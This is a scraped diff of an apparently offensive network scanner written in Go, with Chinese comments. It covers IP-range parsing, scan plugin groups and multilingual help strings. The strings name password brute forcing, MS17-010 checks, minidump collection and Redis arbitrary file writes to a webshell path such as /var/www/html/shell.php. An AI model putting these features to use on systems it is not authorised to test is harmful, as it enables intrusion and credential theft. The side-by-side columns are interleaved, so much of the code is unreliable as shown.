// parseIP1 解析IP范围格式的地址 // calculateIPRange 计算CIDR的起始IP和结束IP
func parseIP1(ip string) []string { // 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
ipRange := strings.Split(ip, "-") // 参数:
testIP := net.ParseIP(ipRange[0]) // - cidr: 解析后的IPNet对象
var allIP []string //
// 返回:
// - string: 格式为"起始IP-结束IP"的范围字符串
func calculateIPRange(cidr *net.IPNet) string {
// 获取网络起始IP
start := cidr.IP.String()
mask := cidr.Mask
// 处理简写格式 (192.168.111.1-255) // 计算广播地址(最后一个IP)
if len(ipRange[1]) < 4 { bcst := make(net.IP, len(cidr.IP))
endNum, err := strconv.Atoi(ipRange[1]) copy(bcst, cidr.IP)
if testIP == nil || endNum > 255 || err != nil {
LogError(GetText("ip_range_format_error", ip))
return nil
}
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
} else {
// 处理完整IP范围格式
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
LogError(GetText("ip_format_error", ip))
return nil
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
LogError(GetText("invalid_ip_range", ipRange[0], ipRange[1]))
return nil
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." +
strconv.Itoa((num>>16)&0xff) + "." +
strconv.Itoa((num>>8)&0xff) + "." +
strconv.Itoa((num)&0xff)
allIP = append(allIP, ip)
}
LogInfo(GetText("generate_ip_range", ipRange[0], ipRange[1]))
}
return allIP
}
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
start := c.IP.String()
mask := c.Mask
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
// 将网络掩码按位取反然后与IP地址按位或得到广播地址
for i := 0; i < len(mask); i++ { for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1 ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
} }
end := bcst.String() end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end) result := fmt.Sprintf("%s-%s", start, end)
LogInfo(GetText("cidr_range", result)) LogBase(GetText("cidr_range", result))
return result return result
} }
// Readipfile 从文件中按行读取IP地址 // parseIPRange 解析IP范围格式的地址
func Readipfile(filename string) ([]string, error) { // 支持两种格式:
// - 完整格式: 192.168.1.1-192.168.1.100
// - 简写格式: 192.168.1.1-100
// 参数:
// - ipRange: IP范围字符串
//
// 返回:
// - []string: 展开后的IP地址列表
func parseIPRange(ipRange string) []string {
parts := strings.Split(ipRange, "-")
if len(parts) != 2 {
LogError(GetText("ip_range_format_error", ipRange))
return nil
}
startIP := parts[0]
endIP := parts[1]
// 验证起始IP
if net.ParseIP(startIP) == nil {
LogError(GetText("invalid_ip_format", startIP))
return nil
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
return parseShortIPRange(startIP, endIP)
} else {
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
return parseFullIPRange(startIP, endIP)
}
}
// parseShortIPRange 解析简写格式的IP范围
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
// 参数:
// - startIP: 起始IP
// - endSuffix: 结束IP的最后一部分
//
// 返回:
// - []string: 展开后的IP地址列表
func parseShortIPRange(startIP, endSuffix string) []string {
var allIP []string
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > 255 {
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
return nil
}
// 分解起始IP
ipParts := strings.Split(startIP, ".")
if len(ipParts) != 4 {
LogError(GetText("ip_format_error", startIP))
return nil
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
// 生成IP范围
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
return allIP
}
// parseFullIPRange 解析完整格式的IP范围
// 例如: 192.168.1.1-192.168.2.100
// 参数:
// - startIP: 起始IP
// - endIP: 结束IP
//
// 返回:
// - []string: 展开后的IP地址列表
func parseFullIPRange(startIP, endIP string) []string {
var allIP []string
// 验证结束IP
if net.ParseIP(endIP) == nil {
LogError(GetText("invalid_ip_format", endIP))
return nil
}
// 分解起始IP和结束IP
startParts := strings.Split(startIP, ".")
endParts := strings.Split(endIP, ".")
if len(startParts) != 4 || len(endParts) != 4 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
// 转换为整数数组
var start, end [4]int
for i := 0; i < 4; i++ {
var err1, err2 error
start[i], err1 = strconv.Atoi(startParts[i])
end[i], err2 = strconv.Atoi(endParts[i])
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
}
// 计算IP地址的整数表示
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
// 检查范围的有效性
if startInt > endInt {
LogError(GetText("invalid_ip_range", startIP, endIP))
return nil
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > 65535 {
LogError(GetText("ip_range_too_large", startIP, endIP))
// 可以考虑在这里实现采样或截断策略
}
// 生成IP范围
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>24)&0xFF,
(ipInt>>16)&0xFF,
(ipInt>>8)&0xFF,
ipInt&0xFF)
allIP = append(allIP, ip)
}
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
return allIP
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
// 由于/8网段包含1600多万个IP因此采用采样方式
// 参数:
// - subnet: CIDR格式的/8网段
//
// 返回:
// - []string: 采样的IP地址列表
func parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
LogError(GetText("invalid_ip_format", baseIP))
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
LogBase(GetText("parse_subnet", firstOctet))
// 预分配足够的容量以提高性能
// 每个二级网段10个IP共256*256个二级网段
sampleIPs = make([]string, 0, 10)
// 对常用网段进行更全面的扫描
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := randomInt(2, 253)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
samplingStep := 32 // 每32个二级网段采样1个
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
}
}
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
return sampleIPs
}
// readIPFile 从文件中按行读取IP地址
// 支持两种格式:
// - 每行一个IP或IP范围
// - IP:PORT 格式指定端口
// 参数:
// - filename: 包含IP地址的文件路径
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 读取和解析过程中的错误
func readIPFile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
LogError(GetText("open_file_failed", filename, err)) LogError(GetText("open_file_failed", filename, err))
@ -230,105 +411,139 @@ func Readipfile(filename string) ([]string, error) {
} }
defer file.Close() defer file.Close()
var content []string var ipList []string
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines) scanner.Split(bufio.ScanLines)
// 逐行处理
lineCount := 0
for scanner.Scan() { for scanner.Scan() {
line := strings.TrimSpace(scanner.Text()) line := strings.TrimSpace(scanner.Text())
if line == "" { if line == "" || strings.HasPrefix(line, "#") {
continue continue // 跳过空行和注释行
} }
text := strings.Split(line, ":") lineCount++
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
LogError(GetText("invalid_port", line))
continue
}
hosts := ParseIPs(text[0]) // 处理IP:PORT格式
for _, host := range hosts { if strings.Contains(line, ":") {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) parts := strings.Split(line, ":")
if len(parts) == 2 {
// 提取端口部分,处理可能的注释
portPart := strings.Split(parts[1], " ")[0]
portPart = strings.Split(portPart, "#")[0]
port, err := strconv.Atoi(portPart)
// 验证端口有效性
if err != nil || port < 1 || port > 65535 {
LogError(GetText("invalid_port", line))
continue
}
// 解析IP部分并与端口组合
hosts := parseIPList(parts[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
}
LogBase(GetText("parse_ip_port", line))
} else {
LogError(GetText("invalid_ip_port_format", line))
} }
LogInfo(GetText("parse_ip_port", line))
} else { } else {
hosts := ParseIPs(line) // 处理纯IP格式
content = append(content, hosts...) hosts := parseIPList(line)
LogInfo(GetText("parse_ip_address", line)) ipList = append(ipList, hosts...)
LogBase(GetText("parse_ip_address", line))
} }
} }
// 检查扫描过程中的错误
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err)) LogError(GetText("read_file_error", err))
return content, err return ipList, err
} }
LogInfo(GetText("file_parse_complete", len(content))) LogBase(GetText("file_parse_complete", len(ipList)))
return content, nil return ipList, nil
} }
// RemoveDuplicate 对字符串切片进行去重 // excludeHosts 从主机列表中排除指定的主机
func RemoveDuplicate(old []string) []string { // 参数:
temp := make(map[string]struct{}) // - hosts: 原始主机列表
var result []string // - nohosts: 需要排除的主机列表(可选)
//
for _, item := range old { // 返回:
if _, exists := temp[item]; !exists { // - []string: 排除后的主机列表
temp[item] = struct{}{} func excludeHosts(hosts []string, nohosts []string) []string {
result = append(result, item) // 如果没有需要排除的主机,直接返回原列表
} if len(nohosts) == 0 || nohosts[0] == "" {
return hosts
} }
// 解析排除列表
excludeList := parseIPList(nohosts[0])
if len(excludeList) == 0 {
return hosts
}
// 使用map存储有效主机提高查找效率
hostMap := make(map[string]struct{}, len(hosts))
for _, host := range hosts {
hostMap[host] = struct{}{}
}
// 从map中删除需要排除的主机
for _, host := range excludeList {
delete(hostMap, host)
}
// 重建主机列表
result := make([]string, 0, len(hostMap))
for host := range hostMap {
result = append(result, host)
}
// 排序以保持结果的稳定性
sort.Strings(result)
LogBase(GetText("hosts_excluded", len(excludeList)))
return result return result
} }
// parseIP8 解析/8网段的IP地址 // removeDuplicateIPs 去除重复的IP地址
func parseIP8(ip string) []string { // 参数:
// 去除CIDR后缀获取基础IP // - ips: 包含可能重复项的IP地址列表
realIP := ip[:len(ip)-2] //
testIP := net.ParseIP(realIP) // 返回:
// - []string: 去重后的IP地址列表
if testIP == nil { func removeDuplicateIPs(ips []string) []string {
LogError(GetText("invalid_ip_format", realIP)) // 使用map去重
return nil ipMap := make(map[string]struct{}, len(ips))
for _, ip := range ips {
ipMap[ip] = struct{}{}
} }
// 获取/8网段的第一段 // 创建结果切片并添加唯一的IP
ipRange := strings.Split(ip, ".")[0] result := make([]string, 0, len(ipMap))
var allIP []string for ip := range ipMap {
result = append(result, ip)
LogInfo(GetText("parse_subnet", ipRange))
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
// 添加常用网关IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
// 随机采样不同范围的IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
}
} }
LogInfo(GetText("sample_ip_generated", len(allIP))) // 排序以保持结果的稳定性
return allIP sort.Strings(result)
return result
} }
// RandInt 生成指定范围内的随机整数 // randomInt 生成指定范围内的随机整数
func RandInt(min, max int) int { // 参数:
if min >= max || min == 0 || max == 0 { // - min: 最小值(包含)
// - max: 最大值(包含)
//
// 返回:
// - int: 生成的随机数
func randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max return max
} }
return rand.Intn(max-min) + min return rand.Intn(max-min+1) + min
} }

View File

@ -1,9 +1,9 @@
package Common package Common
import ( import (
"sort"
"strconv" "strconv"
"strings" "strings"
"sort"
) )
// ParsePort 解析端口配置字符串为端口号列表 // ParsePort 解析端口配置字符串为端口号列表
@ -73,7 +73,7 @@ func ParsePort(ports string) []int {
scanPorts = removeDuplicate(scanPorts) scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts) sort.Ints(scanPorts)
LogInfo(GetText("valid_port_count", len(scanPorts))) LogBase(GetText("valid_port_count", len(scanPorts)))
return scanPorts return scanPorts
} }

View File

@ -1,95 +0,0 @@
package Common
// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式
const (
ModeAll = "All" // 全量扫描
ModeBasic = "Basic" // 基础扫描
ModeDatabase = "Database" // 数据库扫描
ModeWeb = "Web" // Web扫描
ModeService = "Service" // 服务扫描
ModeVul = "Vul" // 漏洞扫描
ModePort = "Port" // 端口扫描
ModeICMP = "ICMP" // ICMP探测
ModeLocal = "Local" // 本地信息收集
)
// 插件分类映射表 - 所有插件名使用小写
var PluginGroups = map[string][]string{
ModeAll: {
"webtitle", "webpoc", // web类
"mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类
"oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类
"ms17010", "smbghost", "smb2", // 漏洞类
"findnet", // 其他
},
ModeBasic: {
"webtitle", "ftp", "ssh", "smb", "findnet",
},
ModeDatabase: {
"mysql", "mssql", "redis", "mongodb",
"postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j",
},
ModeWeb: {
"webtitle", "webpoc",
},
ModeService: {
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync",
},
ModeVul: {
"ms17010", "smbghost", "smb2",
},
ModeLocal: {
"localinfo", "minidump", "dcinfo",
},
}
// ParseScanMode 解析扫描模式
func ParseScanMode(mode string) {
LogInfo(GetText("parse_scan_mode", mode))
// 检查是否是预设模式
presetModes := []string{
ModeAll, ModeBasic, ModeDatabase, ModeWeb,
ModeService, ModeVul, ModePort, ModeICMP, ModeLocal,
}
for _, presetMode := range presetModes {
if mode == presetMode {
ScanMode = mode
if plugins := GetPluginsForMode(mode); plugins != nil {
LogInfo(GetText("using_preset_mode_plugins", mode, plugins))
} else {
LogInfo(GetText("using_preset_mode", mode))
}
return
}
}
// 检查是否是有效的插件名
if _, exists := PluginManager[mode]; exists {
ScanMode = mode
LogInfo(GetText("using_single_plugin", mode))
return
}
// 默认使用All模式
ScanMode = ModeAll
LogInfo(GetText("using_default_mode", ModeAll))
LogInfo(GetText("included_plugins", PluginGroups[ModeAll]))
}
// GetPluginsForMode 获取指定模式下的插件列表
func GetPluginsForMode(mode string) []string {
plugins, exists := PluginGroups[mode]
if exists {
return plugins
}
return nil
}
// 辅助函数
func IsPortScan() bool { return ScanMode == ModePort }
func IsICMPScan() bool { return ScanMode == ModeICMP }
func IsWebScan() bool { return ScanMode == ModeWeb }
func GetScanMode() string { return ScanMode }

View File

@ -8,13 +8,32 @@ type HostInfo struct {
Infostr []string Infostr []string
} }
// 在 Common/const.go 中添加
// 插件类型常量
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
)
// ScanPlugin 定义扫描插件的结构 // ScanPlugin 定义扫描插件的结构
type ScanPlugin struct { type ScanPlugin struct {
Name string // 插件名称 Name string // 插件名称
Ports []int // 关联的端口列表,空切片表示特殊扫描类型 Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
ScanFunc func(*HostInfo) error // 扫描函数 ScanFunc func(*HostInfo) error // 扫描函数
} }
// 添加一个用于检查插件类型的辅助方法
func (p ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口 // HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool { func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口 // 如果没有指定端口列表,表示支持所有端口

View File

@ -234,70 +234,51 @@ var i18nMap = map[string]map[string]string{
"Пример: -p main, -p 80,443, -p 1-1000", "Пример: -p main, -p 80,443, -p 1-1000",
}, },
"flag_scan_mode": { "flag_scan_mode": {
LangZH: "指定扫描模式:\n" + LangZH: "指定要使用的扫描插件:\n" +
"预设模式:\n" + " - All: 使用所有非敏感插件\n" +
" - All: 全量扫描\n" + " - 单个插件: 如 ssh, redis, mysql\n" +
" - Basic: 基础扫描(Web/FTP/SSH等)\n" + " - 多个插件: 使用逗号分隔,如 ssh,ftp,redis\n\n" +
" - Database: 数据库扫描\n" + "插件分类:\n" +
" - Web: Web服务扫描\n" + " - 服务类: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Service: 常见服务扫描\n" + " - 数据库类: mysql, redis, mongodb, postgres...\n" +
" - Vul: 漏洞扫描\n" + " - Web类: webtitle, webpoc...\n" +
" - Port: 端口扫描\n" + " - 漏洞类: ms17010...\n" +
" - ICMP: 存活探测\n" + " - 本地类: localinfo, dcinfo, minidump (需明确指定)",
" - Local: 本地信息\n" +
"单项扫描:\n" +
" - web/db: mysql,redis等\n" +
" - service: ftp,ssh等\n" +
" - vul: ms17010等",
LangEN: "Specify scan mode:\n" + LangEN: "Specify scan plugins to use:\n" +
"Preset modes:\n" + " - All: Use all non-sensitive plugins\n" +
" - All: Full scan\n" + " - Single plugin: e.g., ssh, redis, mysql\n" +
" - Basic: Basic scan(Web/FTP/SSH)\n" + " - Multiple plugins: comma-separated, e.g., ssh,ftp,redis\n\n" +
" - Database: Database scan\n" + "Plugin categories:\n" +
" - Web: Web service scan\n" + " - Services: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Service: Common service scan\n" + " - Databases: mysql, redis, mongodb, postgres...\n" +
" - Vul: Vulnerability scan\n" + " - Web: webtitle, webpoc...\n" +
" - Port: Port scan\n" + " - Vulnerabilities: ms17010...\n" +
" - ICMP: Alive detection\n" + " - Local: localinfo, dcinfo, minidump (must be explicitly specified)",
" - Local: Local info\n" +
"Single scan:\n" +
" - web/db: mysql,redis etc\n" +
" - service: ftp,ssh etc\n" +
" - vul: ms17010 etc",
LangJA: "スキャンモードを指定:\n" + LangJA: "使用するスキャンプラグインを指定:\n" +
"プリセットモード:\n" + " - All: すべての非機密プラグインを使用\n" +
" - All: フルスキャン\n" + " - 単一プラグイン: 例 ssh, redis, mysql\n" +
" - Basic: 基本スキャン(Web/FTP/SSH)\n" + " - 複数プラグイン: カンマ区切り、例 ssh,ftp,redis\n\n" +
" - Database: データベーススキャン\n" + "プラグインカテゴリ:\n" +
" - Web: Webサービススキャン\n" + " - サービス: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Service: 一般サービススキャン\n" + " - データベース: mysql, redis, mongodb, postgres...\n" +
" - Vul: 脆弱性スキャン\n" + " - Web: webtitle, webpoc...\n" +
" - Port: ポートスキャン\n" + " - 脆弱性: ms17010...\n" +
" - ICMP: 生存確認\n" + " - ローカル: localinfo, dcinfo, minidump (明示的に指定が必要)",
" - Local: ローカル情報\n" +
"単一スキャン:\n" +
" - web/db: mysql,redis など\n" +
" - service: ftp,ssh など\n" +
" - vul: ms17010 など",
LangRU: "Укажите режим сканирования:\n" + LangRU: "Укажите используемые плагины сканирования:\n" +
"Предустановки:\n" + " - All: Использовать все неконфиденциальные плагины\n" +
" - All: Полное сканирование\n" + " - Один плагин: например, ssh, redis, mysql\n" +
" - Basic: Базовое сканирование(Web/FTP/SSH)\n" + " - Несколько плагинов: через запятую, например ssh,ftp,redis\n\n" +
" - Database: Сканирование БД\n" + "Категории плагинов:\n" +
" - Web: Веб-сервисы\n" + " - Сервисы: ssh, ftp, telnet, smb, rdp, vnc...\n" +
" - Service: Общие службы\n" + " - Базы данных: mysql, redis, mongodb, postgres...\n" +
" - Vul: Уязвимости\n" + " - Веб: webtitle, webpoc...\n" +
" - Port: Порты\n" + " - Уязвимости: ms17010...\n" +
" - ICMP: Обнаружение\n" + " - Локальные: localinfo, dcinfo, minidump (требуется явное указание)",
" - Local: Локальная информация\n" +
"Одиночное сканирование:\n" +
" - web/db: mysql,redis и др\n" +
" - service: ftp,ssh и др\n" +
" - vul: ms17010 и др",
}, },
"flag_exclude_hosts": { "flag_exclude_hosts": {
LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24", LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24",
LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24", LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24",
@ -368,6 +349,20 @@ var i18nMap = map[string]map[string]string{
LangRU: "Показать только указанное количество активных хостов", LangRU: "Показать только указанное количество активных хостов",
}, },
"flag_module_thread_num": {
LangZH: "设置每个模块的最大线程数(默认:10)",
LangEN: "Set maximum threads per module (default:10)",
LangJA: "モジュールごとの最大スレッド数を設定(デフォルト:10)",
LangRU: "Установить максимальное количество потоков на модуль (по умолчанию:10)",
},
"flag_global_timeout": {
LangZH: "设置全局扫描超时时间(单位:秒,默认:180)",
LangEN: "Set global scan timeout (in seconds, default:180)",
LangJA: "グローバルスキャンのタイムアウトを設定(秒単位、デフォルト:180)",
LangRU: "Установить глобальный таймаут сканирования (в секундах, по умолчанию:180)",
},
"flag_disable_ping": { "flag_disable_ping": {
LangZH: "禁用主机存活探测", LangZH: "禁用主机存活探测",
LangEN: "Disable host alive detection", LangEN: "Disable host alive detection",
@ -382,14 +377,7 @@ var i18nMap = map[string]map[string]string{
LangRU: "Использовать системную команду ping вместо ICMP-зондирования", LangRU: "Использовать системную команду ping вместо ICMP-зондирования",
}, },
"flag_command": { "flag_enable_fingerprint": {
LangZH: "指定要执行的系统命令(支持ssh和wmiexec)",
LangEN: "Specify system command to execute (supports ssh and wmiexec)",
LangJA: "実行するシステムコマンドを指定(sshとwmiexecをサポート)",
LangRU: "Указать системную команду для выполнения (поддерживает ssh и wmiexec)",
},
"flag_skip_fingerprint": {
LangZH: "跳过端口指纹识别", LangZH: "跳过端口指纹识别",
LangEN: "Skip port fingerprint identification", LangEN: "Skip port fingerprint identification",
LangJA: "ポートフィンガープリント識別をスキップ", LangJA: "ポートフィンガープリント識別をスキップ",
@ -431,6 +419,13 @@ var i18nMap = map[string]map[string]string{
LangRU: "Чтение списка портов из файла", LangRU: "Чтение списка портов из файла",
}, },
"flag_exclude_ports": {
LangZH: "排除指定端口",
LangEN: "Exclude specified ports",
LangJA: "指定されたポートを除外する",
LangRU: "Исключить указанные порты",
},
"flag_target_url": { "flag_target_url": {
LangZH: "指定目标URL", LangZH: "指定目标URL",
LangEN: "Specify target URL", LangEN: "Specify target URL",
@ -515,6 +510,13 @@ var i18nMap = map[string]map[string]string{
LangRU: "Установить параллельность POC-сканирования", LangRU: "Установить параллельность POC-сканирования",
}, },
"flag_no_poc": {
LangZH: "禁用POC扫描",
LangEN: "Disable POC scanning",
LangJA: "POCスキャンを無効にする",
LangRU: "Отключить POC-сканирование",
},
// Redis配置相关 // Redis配置相关
"flag_redis_file": { "flag_redis_file": {
LangZH: "指定Redis写入的SSH公钥文件", LangZH: "指定Redis写入的SSH公钥文件",
@ -536,6 +538,28 @@ var i18nMap = map[string]map[string]string{
LangJA: "Redisセキュリティ検出を無効化", LangJA: "Redisセキュリティ検出を無効化",
LangRU: "Отключить обнаружение безопасности Redis", LangRU: "Отключить обнаружение безопасности Redis",
}, },
"flag_redis_write_path": {
LangZH: "指定Redis写入的文件路径(如:/var/www/html/shell.php)",
LangEN: "Specify file path for Redis arbitrary write (e.g., /var/www/html/shell.php)",
LangJA: "Redis書き込み用のファイルパスを指定/var/www/html/shell.php",
LangRU: "Указать путь к файлу для произвольной записи Redis (например, /var/www/html/shell.php)",
},
"flag_redis_write_content": {
LangZH: "指定Redis写入的文件内容(与-rwp配合使用)",
LangEN: "Specify content for Redis arbitrary write (use with -rwp)",
LangJA: "Redis書き込み用の内容を指定-rwpと併用",
LangRU: "Указать содержимое для произвольной записи Redis (использовать с -rwp)",
},
"flag_redis_write_file": {
LangZH: "指定Redis写入的本地文件路径(将文件内容写入-rwp指定的路径)",
LangEN: "Specify local file to read content from for Redis write (written to path specified by -rwp)",
LangJA: "Redis書き込み用のローカルファイルパスを指定内容が-rwpで指定されたパスに書き込まれる",
LangRU: "Указать локальный файл для чтения содержимого для записи Redis (записывается по пути, указанному в -rwp)",
},
// 暴力破解配置 // 暴力破解配置
"flag_disable_brute": { "flag_disable_brute": {
LangZH: "禁用密码暴力破解", LangZH: "禁用密码暴力破解",
@ -616,13 +640,6 @@ var i18nMap = map[string]map[string]string{
LangRU: "Отключить цветной вывод", LangRU: "Отключить цветной вывод",
}, },
"flag_json_format": {
LangZH: "以JSON格式输出结果",
LangEN: "Output results in JSON format",
LangJA: "結果をJSON形式で出力",
LangRU: "Вывести результаты в формате JSON",
},
"flag_log_level": { "flag_log_level": {
LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)", LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)",
LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)", LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)",
@ -636,6 +653,21 @@ var i18nMap = map[string]map[string]string{
LangJA: "プログレスバー表示を有効化", LangJA: "プログレスバー表示を有効化",
LangRU: "Включить отображение индикатора выполнения", LangRU: "Включить отображение индикатора выполнения",
}, },
"flag_show_scan_plan": {
LangZH: "显示扫描计划详情",
LangEN: "Show scan plan details",
LangJA: "スキャン計画の詳細を表示する",
LangRU: "Показать детали плана сканирования",
},
"flag_slow_log_output": {
LangZH: "启用慢速日志输出,便于肉眼观察",
LangEN: "Enable slow log output for better visual observation",
LangJA: "目視観察のための低速ログ出力を有効にする",
LangRU: "Включить медленный вывод журнала для лучшего визуального наблюдения",
},
"no_username_specified": { "no_username_specified": {
LangZH: "加载用户名: %d 个", LangZH: "加载用户名: %d 个",
LangEN: "Loaded usernames: %d", LangEN: "Loaded usernames: %d",
@ -732,12 +764,7 @@ var i18nMap = map[string]map[string]string{
LangJA: "パラメータ -h、-u、-local は同時に使用できません", LangJA: "パラメータ -h、-u、-local は同時に使用できません",
LangRU: "Параметры -h, -u, -local нельзя использовать одновременно", LangRU: "Параметры -h, -u, -local нельзя использовать одновременно",
}, },
"brute_threads": {
LangZH: "暴力破解线程数: %d",
LangEN: "Brute force threads: %d",
LangJA: "ブルートフォーススレッド数: %d",
LangRU: "Потоков для брутфорса: %d",
},
